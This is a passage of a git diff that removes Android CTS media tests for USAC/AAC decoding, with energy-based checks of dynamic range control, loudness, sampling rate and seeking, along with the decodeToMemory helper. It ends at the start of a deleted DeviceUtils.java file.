-        short[] decSamples_def  = decodeToMemory(decParams, testinput,
-                -1, null, drcParams_def, decoderName);
-        short[] decSamples_test = decodeToMemory(decParams, testinput,
-                -1, null, drcParams_test, decoderName);
-
-        float[] nrg_def  = checkEnergyUSAC(decSamples_def, decParams, 2, 1);
-        float[] nrg_test = checkEnergyUSAC(decSamples_test, decParams, 2, 1);
-
-        float nrgRatio = nrg_def[0]/nrg_test[0];
-
-        // normFactor = 1/(10^(-8/10)) = 6.3f
-        nrgRatio = nrgRatio / 6.3f;
-
-        // Check whether behavior is as expected
-        if (nrgRatio > 1.05f || nrgRatio < 0.95f ){
-            throw new Exception("Sampling rate not supported");
-        }
-    }
-
-    /**
-     * USAC test sampling rate for streams without loudness application
-     */
-    private void checkUsacSamplingRateWoLoudness(int testinput, String decoderName) throws Exception
-    {
-        AudioParameter decParams  = new AudioParameter();
-        DrcParams drcParams       = new DrcParams();
-
-        short[] decSamples = decodeToMemory(decParams, testinput, -1, null, drcParams, decoderName);
-
-        float[] nrg = checkEnergyUSAC(decSamples, decParams, 2, 1);
-
-        float nrg_ref  = 3.15766394E12f;
-        float nrgRatio = nrg_ref/nrg[0];
-
-        // Check whether behavior is as expected
-        if (nrgRatio > 1.05f || nrgRatio < 0.95f ){
-            throw new Exception("Sampling rate not supported");
-        }
-    }
-
-    /**
-     * USAC test DRC Album Mode
-     */
-    private void checkUsacDrcAlbumMode(int testinput, String decoderName) throws Exception {
-        for (boolean runtimeChange : new boolean[] {false, true}) {
-            AudioParameter decParams = new AudioParameter();
-            DrcParams drcParams_album_off = new DrcParams(127, 127, 64, 0, 0, 0);
-            DrcParams drcParams_album_on  = new DrcParams(127, 127, 64, 0, 0, 1);
-
-            short[] decSamples_album_off = decodeToMemory(
-                    decParams, testinput, -1, null, drcParams_album_off, decoderName);
-            short[] decSamples_album_on = decodeToMemory(
-                    decParams, testinput, -1, null, drcParams_album_on, decoderName, runtimeChange);
-
-            float[] nrg_album_off  = checkEnergyUSAC(decSamples_album_off, decParams, 2, 1);
-            float[] nrg_album_on = checkEnergyUSAC(decSamples_album_on, decParams, 2, 1);
-
-            float normFactor = 6.3095f;
-
-            float nrgRatio = (nrg_album_on[0]/nrg_album_off[0])/normFactor;
-            float nrgRatio_L = (nrg_album_on[1]/nrg_album_off[1])/normFactor;
-            float nrgRatio_R = (nrg_album_on[2]/nrg_album_off[2])/normFactor;
-
-            if (nrgRatio > 1.05f || nrgRatio < 0.95f ){
-                throw new Exception("DRC Album Mode not supported, energy ratio " + nrgRatio);
-            }
-        }
-    }
-
-    /**
-     * USAC test DRC Boost and Attenuation
-     */
-    private void checkUsacDrcBoostAndAttenuation(float normFactor_L, float normFactor_R,
-                                                 int boostFactor, int attenuationFactor,
-                                                 int nCh, String decoderName) throws Exception {
-        for (boolean runtimeChange : new boolean[] {false, true}) {
-            if (runtimeChange && !sIsAndroidRAndAbove) {
-                // changing decoder configuration after it has been initialized requires R and above
-                continue;
-            }
-
-            int testinput = R.raw.noise_2ch_32khz_aot42_19_lufs_drc_mp4;
-
-            AudioParameter decParams = new AudioParameter();
-            DrcParams drcParams_def = new DrcParams(127, 127, 64, 0, 6);
-            DrcParams drcParams_test = new DrcParams(boostFactor, attenuationFactor, 64, 0, 6);
-
-            short[] decSamples_def = decodeToMemory(decParams, testinput, -1, null,
-                    drcParams_def, decoderName);
-            short[] decSamples_test = decodeToMemory(decParams, testinput, -1, null,
-                    drcParams_test, decoderName, runtimeChange);
-
-            float[] nrg_def = checkEnergyUSAC(decSamples_def, decParams, 2, 1);
-            float[] nrg_test = checkEnergyUSAC(decSamples_test, decParams, 2, 1);
-
-            float nrgRatioLeft = nrg_test[1] / nrg_def[1];
-            float nrgRatioRight = nrg_test[2] / nrg_def[2];
-
-            float testValueLeft = normFactor_L * nrgRatioLeft;
-            float testValueRight = normFactor_R * nrgRatioRight;
-
-            // Check whether loudness behavior is as expected
-            if (testValueLeft > 1.05f || testValueLeft < 0.95f) {
-                throw new Exception("DRC boost/attenuation behavior not as expected");
-            }
-            if (testValueRight > 1.05f || testValueRight < 0.95f) {
-                throw new Exception("DRC boost/attenuation behavior not as expected");
-            }
-        }
-    }
-
-    /**
-    * USAC test Loudness Preference
-    */
-    private void checkUsacDrcLoudnessPreference(int testInput, float normFactor, String decoderName) throws Exception {
-
-        AudioParameter decParams = new AudioParameter();
-        DrcParams drcParams_def = new DrcParams(127, 127, -1, 0, 6);
-        DrcParams drcParams_test = new DrcParams(127, 127, 64, 0, 6);
-
-        // Check drc loudness preference
-        short[] decSamples_def = decodeToMemory(decParams, testInput, -1, null, drcParams_def, decoderName);
-        short[] decSamples_test = decodeToMemory(decParams, testInput, -1, null, drcParams_test, decoderName);
-
-        float[] nrg_def  = checkEnergyUSAC(decSamples_def, decParams, 2, 1);
-        float[] nrg_test = checkEnergyUSAC(decSamples_test, decParams, 2, 1);
-
-        float nrgRatio = (nrg_test[0]/nrg_def[0]);
-        nrgRatio = nrgRatio * normFactor;
-
-        if (nrgRatio > 1.05f || nrgRatio < 0.95f ){
-            throw new Exception("DRC Loudness preference not as expected");
-        }
-    }
-
-    /**
-    * USAC test Output Loudness
-    */
-    private void checkUsacDrcOutputLoudness(int testInput, int decoderTargetLevel,
-            int expectedOutputLoudness, String decoderName) throws Exception {
-        for (boolean runtimeChange : new boolean[] {false, true}) {
-            AudioParameter decParams = new AudioParameter();
-            DrcParams drcParams_test = new DrcParams(127, 127, decoderTargetLevel, 0, 6);
-
-            // Check drc loudness preference
-            short[] decSamples_test = decodeToMemory(
-                    decParams, testInput, -1, null, drcParams_test,
-                    decoderName, runtimeChange, expectedOutputLoudness);
-        }
-    }
-
-    private void checkUsacSyncSampleSeeking(int testInput, String decoderName) throws Exception {
-
-        AudioParameter decParams = new AudioParameter();
-        DrcParams drcParams_def = new DrcParams();
-
-        short[] decSamples_seek_next_sync = decodeToMemory(decParams, testInput, -1, null,
-                drcParams_def, decoderName, false, -2, true, 1100000,
-                MediaExtractor.SEEK_TO_NEXT_SYNC);
-        float[] nrg_seek_next_sync = checkEnergyUSAC(decSamples_seek_next_sync, decParams, 2, 1);
-    }
-
-    /**
-     * Perform a segmented energy analysis on given audio signal samples and run several tests on
-     * the energy values.
-     *
-     * The main purpose is to verify whether a USAC decoder implementation applies Spectral Band
-     * Replication (SBR), Parametric Stereo (PS) and Dynamic Range Control (DRC) correctly. All
-     * tools are inherent parts to either the MPEG-D USAC audio codec or the MPEG-D DRC tool.
-     *
-     * In addition, this test can verify the correct decoding of multi-channel (e.g. 5.1 channel)
-     * streams or the creation of a downmixed signal.
-     *
-     * Note: This test procedure is not an MPEG Conformance Test and can not serve as a replacement.
-     *
-     * @param decSamples the decoded audio samples to be tested
-     * @param decParams the audio parameters of the given audio samples (decSamples)
-     * @param encNch the encoded number of audio channels (number of channels of the original
-     *               input)
-     * @param drcContext indicate to use test criteria applicable for DRC testing
-     * @return array of energies, at index 0: accumulated energy of all channels, and
-     *     index 1 and over contain the individual channel energies
-     * @throws RuntimeException
-     */
-    protected float[] checkEnergyUSAC(short[] decSamples, AudioParameter decParams,
-                                      int encNch, int drcContext)
-    {
-        final float[] nrg = checkEnergyUSAC(decSamples, decParams, encNch, drcContext,  0);
-        return nrg;
-    }
-
-    /**
-     * Same as {@link #checkEnergyUSAC(short[], AudioParameter, int, int)} but with DRC effect type
-     * @param decSamples
-     * @param decParams
-     * @param encNch
-     * @param drcContext
-     * @param drcApplied indicate if MPEG-D DRC Effect Type has been applied
-     * @return
-     * @throws RuntimeException
-     */
-    private float[] checkEnergyUSAC(short[] decSamples, AudioParameter decParams,
-                                    int encNch, int drcContext,  int drcApplied)
-            throws RuntimeException
-    {
-        String localTag = TAG + "#checkEnergyUSAC";
-
-        // the number of segments per block
-        final int nSegPerBlk = 4;
-        // the number of input channels
-        final int nCh = encNch;
-        // length of one (LB/HB) block [samples]
-        final int nBlkSmp = decParams.getSamplingRate();
-        // length of one segment [samples]
-        final int nSegSmp = nBlkSmp / nSegPerBlk;
-        // actual # samples per channel (total)
-        final int smplPerChan = decSamples.length / nCh;
-        // actual # samples per segment (all ch)
-        final int nSegSmpTot = nSegSmp * nCh;
-        // signal offset between chans [segments]
-        final int nSegChOffst = 2 * nSegPerBlk;
-        // // the number of channels to be analyzed
-        final int procNch = Math.min(nCh, encNch);
-        // all original configs with more than five channel have an LFE
-        final int encEffNch = (encNch > 5) ? encNch-1 : encNch;
-        // expected number of decoded audio samples
-        final int expSmplPerChan = Math.max(encEffNch, 2) * nSegChOffst * nSegSmp;
-        // flag telling that input is dmx signal
-        final boolean isDmx = nCh < encNch;
-        final float nrgRatioThresh = 0.0f;
-        // the num analyzed channels with signal
-        int effProcNch = procNch;
-
-        // get the signal offset by counting zero samples at the very beginning (over all channels)
-        // sample value threshold 4 signal search
-        final int zeroSigThresh = 1;
-        // receives the number of samples that are in front of the actual signal
-        int signalStart = smplPerChan;
-        // receives the number of null samples (per chan) at the very beginning
-        int noiseStart = signalStart;
-
-        for (int smpl = 0; smpl < decSamples.length; smpl++) {
-            int value = Math.abs(decSamples[smpl]);
-
-            if (value > 0 && noiseStart == signalStart) {
-                // store start of prepended noise (can be same as signalStart)
-                noiseStart = smpl / nCh;
-            }
-
-            if (value > zeroSigThresh) {
-                // store signal start offset [samples]
-                signalStart = smpl / nCh;
-                break;
-            }
-        }
-
-        signalStart = (signalStart > noiseStart+1) ? signalStart : noiseStart;
-
-        // check if the decoder reproduced a waveform or kept silent
-        assertTrue ("no signal found in any channel!", signalStart < smplPerChan);
-
-        // max num seg that fit into signal
-        final int totSeg = (smplPerChan - signalStart) / nSegSmp;
-        // max num relevant samples (per channel)
-        final int totSmp = nSegSmp * totSeg;
-
-        // check if the number of reproduced segments in the audio file is valid
-        assertTrue("no segments left to test after signal search", totSeg > 0);
-
-        // get the energies and the channel offsets by searching for the first segment above the
-        // energy threshold:
-        // ratio of zeroNrgThresh to the max nrg
-        final double zeroMaxNrgRatio = 0.001f;
-        // threshold to classify segment energies
-        double zeroNrgThresh = nSegSmp * nSegSmp;
-        // will store the max seg nrg over all ch
-        double totMaxNrg = 0.0f;
-        // array receiving the segment energies
-        double[][] nrg = new double[procNch][totSeg];
-        // array for channel offsets
-        int[] offset = new int[procNch];
-        // array receiving the segment energy status over all channels
-        boolean[] sigSeg = new boolean[totSeg];
-        // energy per channel
-        double[] nrgPerChannel = new double[procNch];
-        // return value: [0]: total energy of all channels
-        //               [1 ... procNch + 1]: energy of the individual channels
-        float[] nrgTotal = new float[procNch + 1];
-        // mapping array to sort channels
-        int[] chMap = new int[nCh];
-
-        // calculate the segmental energy for each channel
-        for (int ch = 0; ch < procNch; ch++) {
-            offset[ch] = -1;
-
-            for (int seg = 0; seg < totSeg; seg++) {
-                final int smpStart = (signalStart * nCh) + (seg * nSegSmpTot) + ch;
-                final int smpStop = smpStart + nSegSmpTot;
-
-                for (int smpl = smpStart; smpl < smpStop; smpl += nCh) {
-                    // accumulate total energy per channel
-                    nrgPerChannel[ch] += decSamples[smpl] * decSamples[smpl];
-                    // accumulate segment energy
-                    nrg[ch][seg] += nrgPerChannel[ch];
-                }
-
-                // store 1st segment (index) per channel which has energy above the threshold to get
-                // the ch offsets
-                if (nrg[ch][seg] > zeroNrgThresh && offset[ch] < 0) {
-                    offset[ch] = seg / nSegChOffst;
-                }
-
-                // store the max segment nrg over all ch
-                if (nrg[ch][seg] > totMaxNrg) {
-                    totMaxNrg = nrg[ch][seg];
-                }
-
-                // store whether the channel has energy in this segment
-                sigSeg[seg] |= nrg[ch][seg] > zeroNrgThresh;
-            }
-
-            // if one channel has no signal it is most probably the LFE the LFE is no
-            // effective channel
-            if (offset[ch] < 0) {
-                effProcNch -= 1;
-                offset[ch] = effProcNch;
-            }
-
-            // recalculate the zero signal threshold based on the 1st channels max energy for
-            // all subsequent checks
-            if (ch == 0) {
-                zeroNrgThresh = zeroMaxNrgRatio * totMaxNrg;
-            }
-        }
-
-        // check if the LFE is decoded properly
-        assertTrue("more than one LFE detected", effProcNch >= procNch - 1);
-
-        // check if the amount of samples is valid
-        assertTrue(String.format("less samples decoded than expected: %d < %d",
-                                 decSamples.length - (signalStart * nCh),
-                                 totSmp * effProcNch),
-                                 decSamples.length - (signalStart * nCh) >= totSmp * effProcNch);
-
-        // for multi-channel signals the only valid front channel orders
-        // are L, R, C or C, L, R (L=left, R=right, C=center)
-        if (procNch >= 5) {
-            final int[] frontChMap1 = {2, 0, 1};
-            final int[] frontChMap2 = {0, 1, 2};
-
-            // check if the channel mapping is valid
-            if (!(Arrays.equals(Arrays.copyOfRange(offset, 0, 3), frontChMap1)
-                    || Arrays.equals(Arrays.copyOfRange(offset, 0, 3), frontChMap2))) {
-                fail("wrong front channel mapping");
-            }
-        }
-
-        // create mapping table to address channels from front to back the LFE must be last
-        if (drcContext == 0) {
-            // check whether every channel occurs exactly once
-            for (int ch = 0; ch < effProcNch; ch++) {
-                int occurred = 0;
-
-                for (int idx = 0; idx < procNch; idx++) {
-                    if (offset[idx] == ch) {
-                        occurred += 1;
-                        chMap[ch] = idx;
-                    }
-                }
-
-                // check if one channel is mapped more than one time
-                assertTrue(String.format("channel %d occurs %d times in the mapping", ch, occurred),
-                        occurred == 1);
-            }
-        } else {
-            for (int ch = 0; ch < procNch; ch++) {
-                chMap[ch] = ch;
-            }
-        }
-
-        // reference min energy for the 1st ch; others will be compared against 1st
-        double refMinNrg = zeroNrgThresh;
-
-        // calculate total energy, min and max energy
-        for (int ch = 0; ch < procNch; ch++) {
-            // resolve channel mapping
-            int idx = chMap[ch];
-            // signal offset [segments]
-            final int ofst = offset[idx] * nSegChOffst;
-
-            if (ch <= effProcNch && ofst < totSeg) {
-                // the last segment that has energy
-                int nrgSegEnd;
-                // the number of segments with energy
-                int nrgSeg;
-
-                if (drcContext == 0) {
-
-                    // the first channel of a mono or stereo signal has full signal all others have
-                    // one LB + one HB block
-                    if ((encNch <= 2) && (ch == 0)) {
-                        nrgSeg = totSeg;
-                    } else {
-                        nrgSeg = Math.min(totSeg, (2 * nSegPerBlk) + ofst) - ofst;
-                    }
-                } else {
-                    nrgSeg = totSeg;
-                }
-
-                nrgSegEnd = ofst + nrgSeg;
-
-                // find min and max energy of all segments that should have signal
-                double minNrg = nrg[idx][ofst]; // channels minimum segment energy
-                double maxNrg = nrg[idx][ofst]; // channels maximum segment energy
-
-                // values of 1st segment already assigned
-                for (int seg = ofst + 1; seg < nrgSegEnd; seg++) {
-                    if (nrg[idx][seg] < minNrg) {
-                        minNrg = nrg[idx][seg];
-                    }
-
-                    if (nrg[idx][seg] > maxNrg) {
-                        maxNrg = nrg[idx][seg];
-                    }
-                }
-
-                // check if the energy of this channel is > 0
-                assertTrue(String.format("max energy of channel %d is zero", ch),maxNrg > 0.0f);
-
-                if (drcContext == 0) {
-                    // check the channels minimum energy >= refMinNrg
-                    assertTrue(String.format("channel %d has not enough energy", ch),
-                            minNrg >= refMinNrg);
-
-                    if (ch == 0) {
-                        // use 85% of 1st channels min energy as reference the other chs must meet
-                        refMinNrg = minNrg * 0.85f;
-                    } else if (isDmx && (ch == 1)) {
-                        // in case of downmixed signal the energy can be lower depending on the
-                        refMinNrg *= 0.50f;
-                    }
-
-                    // calculate and check the energy ratio
-                    final double nrgRatio = minNrg / maxNrg;
-
-                    // check if the threshold is exceeded
-                    assertTrue(String.format("energy ratio of channel %d below threshold", ch),
-                            nrgRatio >= nrgRatioThresh);
-
-                    if (!isDmx) {
-                        if (nrgSegEnd < totSeg) {
-                            // consider that some noise can extend into the subsequent segment
-                            // allow this to be at max 20% of the channels minimum energy
-                            assertTrue(
-                                    String.format("min energy after noise above threshold (%.2f)",
-                                    nrg[idx][nrgSegEnd]),
-                                    nrg[idx][nrgSegEnd] < minNrg * 0.20f);
-                            nrgSegEnd += 1;
-                        }
-                    } else {
-                        // ignore all subsequent segments in case of a downmixed signal
-                        nrgSegEnd = totSeg;
-                    }
-
-                    // zero-out the verified energies to simplify the subsequent check
-                    for (int seg = ofst; seg < nrgSegEnd; seg++) {
-                        nrg[idx][seg] = 0.0f;
-                    }
-
-                    // check zero signal parts
-                    for (int seg = 0; seg < totSeg; seg++) {
-                        assertTrue(String.format("segment %d in channel %d has signal where should "
-                                + "be none (%.2f)", seg, ch, nrg[idx][seg]),
-                                nrg[idx][seg] < zeroNrgThresh);
-                    }
-                }
-            }
-
-            // test whether each segment has energy in at least one channel
-            for (int seg = 0; seg < totSeg; seg++) {
-                assertTrue(String.format("no channel has energy in segment %d", seg), sigSeg[seg]);
-            }
-
-            nrgTotal[0]     += (float)nrgPerChannel[ch];
-            nrgTotal[ch + 1] = (float)nrgPerChannel[ch];
-        }
-
-        float errorMargin = 0.0f;
-        if (drcApplied == 0) {
-            errorMargin = 0.25f;
-        } else if (drcApplied == 1) {
-            errorMargin = 0.40f;
-        }
-
-        float totSegEnergy = 0.0f;
-        float[] segEnergy = new float[totSeg];
-        for (int seg = totSeg - 1; seg >= 0; seg--) {
-            if (seg != 0) {
-                for (int ch = 0; ch < nCh; ch++) {
-                    segEnergy[seg] += nrg[ch][seg] - nrg[ch][seg - 1];
-                }
-                totSegEnergy += segEnergy[seg];
-            } else {
-                for (int ch = 0; ch < nCh; ch++) {
-                    segEnergy[seg] += nrg[ch][seg];
-                }
-            }
-        }
-        float avgSegEnergy = totSegEnergy / (totSeg - 1);
-        for (int seg = 1; seg < totSeg; seg++) {
-            float energyRatio = segEnergy[seg] / avgSegEnergy;
-            if ((energyRatio > (1.0f + errorMargin) ) || (energyRatio < (1.0f - errorMargin) )) {
-                fail("Energy drop out");
-            }
-        }
-
-        // return nrgTotal: [0]: accumulated energy of all channels, [1 ... ] channel energies
-        return nrgTotal;
-    }
-
-    /**
-     * Decodes a compressed bitstream in the ISOBMFF into the RAM of the device.
-     *
-     * The decoder decodes compressed audio data as stored in the ISO Base Media File Format
-     * (ISOBMFF) aka .mp4/.m4a. The decoder is not reproducing the waveform but stores the decoded
-     * samples in the RAM of the device under test.
-     *
-     * @param audioParams the decoder parameter configuration
-     * @param testinput the compressed audio stream
-     * @param eossample the End-Of-Stream indicator
-     * @param timestamps the time stamps to decode
-     * @param drcParams the MPEG-D DRC decoder parameter configuration
-     * @param decoderName if non null, the name of the decoder to use for the decoding, otherwise
-     *     the default decoder for the format will be used
-     * @param runtimeChange defines whether the decoder is configured at runtime or configured
-     *                      before starting to decode
-     * @param expectedOutputLoudness value to check if the correct output loudness is returned
-     *     by the decoder
-     * @param seek_enable defines whether there will be an initial seek
-     * @param seek_duration seeking duration in microseconds
-     * @param seek_mode seeking mode 
-     *
-     * @throws RuntimeException
-     */
-    public short[] decodeToMemory(AudioParameter audioParams, int testinput, int eossample,
-            List<Long> timestamps, DrcParams drcParams, String decoderName, boolean runtimeChange,
-            int expectedOutputLoudness,
-            boolean seek_enable, int seek_duration, int seek_mode) throws IOException {
-        // TODO: code is the same as in DecoderTest, differences are:
-        //          - addition of application of DRC parameters
-        //          - no need/use of resetMode, configMode
-        //       Split method so code can be shared
-
-        final String localTag = TAG + "#decodeToMemory";
-        short [] decoded = new short[0];
-        int decodedIdx = 0;
-
-        AssetFileDescriptor testFd = mResources.openRawResourceFd(testinput);
-
-        MediaExtractor extractor;
-        MediaCodec codec;
-        ByteBuffer[] codecInputBuffers;
-        ByteBuffer[] codecOutputBuffers;
-
-        extractor = new MediaExtractor();
-        extractor.setDataSource(testFd.getFileDescriptor(), testFd.getStartOffset(),
-                testFd.getLength());
-        testFd.close();
-
-        assertEquals("wrong number of tracks", 1, extractor.getTrackCount());
-        MediaFormat format = extractor.getTrackFormat(0);
-        String mime = format.getString(MediaFormat.KEY_MIME);
-        assertTrue("not an audio file", mime.startsWith("audio/"));
-
-        MediaFormat configFormat = format;
-        if (decoderName == null) {
-            codec = MediaCodec.createDecoderByType(mime);
-        } else {
-            codec = MediaCodec.createByCodecName(decoderName);
-        }
-
-        // set DRC parameters
-        if (drcParams != null) {
-            configFormat.setInteger(MediaFormat.KEY_AAC_DRC_HEAVY_COMPRESSION, drcParams.mHeavy);
-            if (!runtimeChange) {
-                configFormat.setInteger(MediaFormat.KEY_AAC_DRC_BOOST_FACTOR, drcParams.mBoost);
-                configFormat.setInteger(MediaFormat.KEY_AAC_DRC_ATTENUATION_FACTOR, drcParams.mCut);
-                if (drcParams.mDecoderTargetLevel != 0) {
-                    configFormat.setInteger(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL,
-                            drcParams.mDecoderTargetLevel);
-                }
-                if (drcParams.mEffectType != 0){
-                    configFormat.setInteger(MediaFormat.KEY_AAC_DRC_EFFECT_TYPE,
-                            drcParams.mEffectType);
-                }
-                if (drcParams.mAlbumMode != 0) {
-                    configFormat.setInteger(MediaFormat.KEY_AAC_DRC_ALBUM_MODE,
-                            drcParams.mAlbumMode);
-                }
-            }
-        }
-
-        Log.v(localTag, "configuring with " + configFormat);
-        codec.configure(configFormat, null /* surface */, null /* crypto */, 0 /* flags */);
-
-        if (drcParams != null && sIsAndroidRAndAbove) { // querying output format requires R
-            if(!runtimeChange) {
-                if (drcParams.mAlbumMode != 0) {
-                    int albumModeFromCodec = DecoderTest.getOutputFormatInteger(codec,
-                            MediaFormat.KEY_AAC_DRC_ALBUM_MODE);
-                    if (albumModeFromCodec != drcParams.mAlbumMode) {
-                        fail("Drc AlbumMode received from MediaCodec is not the Album Mode set");
-                    }
-                }
-                if (drcParams.mEffectType != 0) {
-                    final int effectTypeFromCodec = DecoderTest.getOutputFormatInteger(codec,
-                            MediaFormat.KEY_AAC_DRC_EFFECT_TYPE);
-                    if (effectTypeFromCodec != drcParams.mEffectType) {
-                        fail("Drc Effect Type received from MediaCodec is not the Effect Type set");
-                    }
-                }
-                if (drcParams.mDecoderTargetLevel != 0) {
-                    final int targetLevelFromCodec = DecoderTest.getOutputFormatInteger(codec,
-                            MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
-                    if (targetLevelFromCodec != drcParams.mDecoderTargetLevel) {
-                        fail("Drc Target Reference Level received from MediaCodec is not the Target Reference Level set");
-                    }
-                }
-            }
-        }
-
-        codec.start();
-        codecInputBuffers = codec.getInputBuffers();
-        codecOutputBuffers = codec.getOutputBuffers();
-
-        if (drcParams != null) {
-            if (runtimeChange) {
-                Bundle b = new Bundle();
-                b.putInt(MediaFormat.KEY_AAC_DRC_BOOST_FACTOR, drcParams.mBoost);
-                b.putInt(MediaFormat.KEY_AAC_DRC_ATTENUATION_FACTOR, drcParams.mCut);
-                if (drcParams.mEffectType != 0) {
-                    b.putInt(MediaFormat.KEY_AAC_DRC_EFFECT_TYPE, drcParams.mEffectType);
-                }
-                if (drcParams.mDecoderTargetLevel != 0) {
-                    b.putInt(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL,
-                            drcParams.mDecoderTargetLevel);
-                }
-                if (drcParams.mAlbumMode != 0) {
-                    b.putInt(MediaFormat.KEY_AAC_DRC_ALBUM_MODE, drcParams.mAlbumMode);
-                }
-                codec.setParameters(b);
-            }
-        }
-
-        extractor.selectTrack(0);
-
-        // execute initial seeking if specified
-        if (seek_enable) {
-            codec.flush();
-            extractor.seekTo(seek_duration, seek_mode);
-        }
-
-        // start decoding
-        final long kTimeOutUs = 5000;
-        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-        boolean sawInputEOS = false;
-        boolean sawOutputEOS = false;
-        int noOutputCounter = 0;
-        int samplecounter = 0;
-
-        // main decoding loop
-        while (!sawOutputEOS && noOutputCounter < 50) {
-            noOutputCounter++;
-            if (!sawInputEOS) {
-                int inputBufIndex = codec.dequeueInputBuffer(kTimeOutUs);
-
-                if (inputBufIndex >= 0) {
-                    ByteBuffer dstBuf = codecInputBuffers[inputBufIndex];
-
-                    int sampleSize =
-                        extractor.readSampleData(dstBuf, 0 /* offset */);
-
-                    long presentationTimeUs = 0;
-
-                    if (sampleSize < 0 && eossample > 0) {
-                        fail("test is broken: never reached eos sample");
-                    }
-
-                    if (sampleSize < 0) {
-                        Log.d(TAG, "saw input EOS.");
-                        sawInputEOS = true;
-                        sampleSize = 0;
-                    } else {
-                        if (samplecounter == eossample) {
-                            sawInputEOS = true;
-                        }
-                        samplecounter++;
-                        presentationTimeUs = extractor.getSampleTime();
-                    }
-
-                    codec.queueInputBuffer(
-                            inputBufIndex,
-                            0 /* offset */,
-                            sampleSize,
-                            presentationTimeUs,
-                            sawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
-
-                    if (!sawInputEOS) {
-                        extractor.advance();
-                    }
-                }
-            }
-
-            int res = codec.dequeueOutputBuffer(info, kTimeOutUs);
-
-            if (res >= 0) {
-                //Log.d(TAG, "got frame, size " + info.size + "/" + info.presentationTimeUs);
-
-                if (info.size > 0) {
-                    noOutputCounter = 0;
-                    if (timestamps != null) {
-                        timestamps.add(info.presentationTimeUs);
-                    }
-                }
-
-                int outputBufIndex = res;
-                ByteBuffer buf = codecOutputBuffers[outputBufIndex];
-
-                if (decodedIdx + (info.size / 2) >= decoded.length) {
-                    decoded = Arrays.copyOf(decoded, decodedIdx + (info.size / 2));
-                }
-
-                buf.position(info.offset);
-                for (int i = 0; i < info.size; i += 2) {
-                    decoded[decodedIdx++] = buf.getShort();
-                }
-
-                codec.releaseOutputBuffer(outputBufIndex, false /* render */);
-
-                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    Log.d(TAG, "saw output EOS.");
-                    sawOutputEOS = true;
-                }
-            } else if (res == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                codecOutputBuffers = codec.getOutputBuffers();
-
-                Log.d(TAG, "output buffers have changed.");
-            } else if (res == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                MediaFormat oformat = codec.getOutputFormat();
-                audioParams.setNumChannels(oformat.getInteger(MediaFormat.KEY_CHANNEL_COUNT));
-                audioParams.setSamplingRate(oformat.getInteger(MediaFormat.KEY_SAMPLE_RATE));
-                Log.d(TAG, "output format has changed to " + oformat);
-            } else {
-                Log.d(TAG, "dequeueOutputBuffer returned " + res);
-            }
-        }
-
-        if (noOutputCounter >= 50) {
-            fail("decoder stopped outputting data");
-        }
-
-        // check if MediaCodec gives back correct drc parameters
-        if (drcParams != null && sIsAndroidRAndAbove) {
-            if (drcParams.mAlbumMode != 0) {
-                final int albumModeFromCodec = DecoderTest.getOutputFormatInteger(codec,
-                        MediaFormat.KEY_AAC_DRC_ALBUM_MODE);
-                assertEquals("DRC AlbumMode received from MediaCodec is not the Album Mode set"
-                        + " runtime:" + runtimeChange, drcParams.mAlbumMode, albumModeFromCodec);
-            }
-            if (drcParams.mEffectType != 0) {
-                final int effectTypeFromCodec = DecoderTest.getOutputFormatInteger(codec,
-                        MediaFormat.KEY_AAC_DRC_EFFECT_TYPE);
-                assertEquals("DRC Effect Type received from MediaCodec is not the Effect Type set"
-                        + " runtime:" + runtimeChange, drcParams.mEffectType, effectTypeFromCodec);
-            }
-            if (drcParams.mDecoderTargetLevel != 0) {
-                final int targetLevelFromCodec = DecoderTest.getOutputFormatInteger(codec,
-                        MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
-                assertEquals("DRC Target Ref Level received from MediaCodec is not the level set"
-                        + " runtime:" + runtimeChange,
-                        drcParams.mDecoderTargetLevel, targetLevelFromCodec);
-            }
-
-            final int cutFromCodec = DecoderTest.getOutputFormatInteger(codec,
-                    MediaFormat.KEY_AAC_DRC_ATTENUATION_FACTOR);
-            assertEquals("Attenuation factor received from MediaCodec differs from set:",
-                    drcParams.mCut, cutFromCodec);
-            final int boostFromCodec = DecoderTest.getOutputFormatInteger(codec,
-                    MediaFormat.KEY_AAC_DRC_BOOST_FACTOR);
-            assertEquals("Boost factor received from MediaCodec differs from set:",
-                    drcParams.mBoost, boostFromCodec);
-        }
-
-        // expectedOutputLoudness == -2 indicates that output loudness is not tested
-        if (expectedOutputLoudness != -2 && sIsAndroidRAndAbove) {
-            final int outputLoudnessFromCodec = DecoderTest.getOutputFormatInteger(codec,
-                    MediaFormat.KEY_AAC_DRC_OUTPUT_LOUDNESS);
-            if (outputLoudnessFromCodec != expectedOutputLoudness) {
-                fail("Received decoder output loudness is not the expected value");
-            }
-        }
-
-        codec.stop();
-        codec.release();
-        return decoded;
-    }
-
-    private short[] decodeToMemory(AudioParameter audioParams, int testinput,
-            int eossample, List<Long> timestamps, DrcParams drcParams, String decoderName)
-            throws IOException
-    {
-        final short[] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps,
-                drcParams, decoderName, false, -2, false, 0, 0);
-        return decoded;
-    }
-
-    private short[] decodeToMemory(AudioParameter audioParams, int testinput,
-            int eossample, List<Long> timestamps, DrcParams drcParams, String decoderName,
-            boolean runtimeChange)
-        throws IOException
-    {
-        final short[] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps,
-                drcParams, decoderName, runtimeChange, -2, false, 0, 0);
-        return decoded;
-    }
-
-    private short[] decodeToMemory(AudioParameter audioParams, int testinput,
-        int eossample, List<Long> timestamps, DrcParams drcParams, String decoderName,
-        boolean runtimeChange, int expectedOutputLoudness)
-        throws IOException
-    {
-        short [] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps, drcParams,
-                decoderName, runtimeChange, expectedOutputLoudness, false, 0, 0);
-        return decoded;
-    }
-}
-
diff --git a/tests/tests/media/src/android/media/cts/DeviceUtils.java b/tests/tests/media/src/android/media/cts/DeviceUtils.java
deleted file mode 100644
index 9051c69..0000000
--- a/tests/tests/media/src/android/media/cts/DeviceUtils.java
+++ /dev/null
@@ -1,58 +0,0 @@
-/*
